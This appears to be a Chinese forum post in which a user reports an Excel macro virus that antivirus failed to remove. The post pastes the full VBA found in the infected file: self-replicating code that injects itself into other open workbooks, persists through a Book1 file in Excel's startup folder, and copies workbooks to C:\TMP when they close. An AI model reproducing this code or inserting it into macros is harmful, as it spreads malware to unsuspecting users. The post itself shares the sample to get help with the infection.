公司有个文件在家里做的导致电脑不停感染宏病毒,360无法查杀。检查后发现宏代码中有以下恶意代码:
'OOO
''Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
''If UCase(ThisWorkbook.Name) = "BOOK1" Then
''Application.Dialogs(xlDialogSaveAs).Show
'Cancel = True
''End If
''End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Set w1 = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
Set w2 = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
If w2.Lines(1, 1) <> "'OOO" Then
w2.InsertLines 1, w1.Lines(1, w1.CountOfLines)
End If
If UCase(Dir(Application.StartupPath + "\book1.")) <> "BOOK1" Then
Set xlApp = CreateObject("Excel.Application")
Set xlWB = xlApp.Workbooks.Add
Set xlWS = xlWB.Sheets.Add
Set xlCM = xlWB.VBProject.VBComponents("ThisWorkbook").CodeModule
xlCM.InsertLines 1, w1.Lines(1, w1.CountOfLines)
xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False
xlWB.Close
xlApp.Quit
End If
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
TmpDir = "C:\TMP\"
If Trim(Dir(TmpDir)) = "" Then
MkDir TmpDir
End If
oldname = ThisWorkbook.Name
mFileName = "C:\TMP\" + oldname
ThisWorkbook.SaveCopyAs Filename:=mFileName
End Sub
Sub vtHideRow()
Application.Selection.EntireRow.Hidden = True
End Sub
Sub vtShowRow()
Application.Selection.EntireRow.Hidden = False
End Sub
Sub vtShowCol()
Application.Selection.EntireColumn.Hidden = False
End Sub
|
|
|
|
评论
直达楼层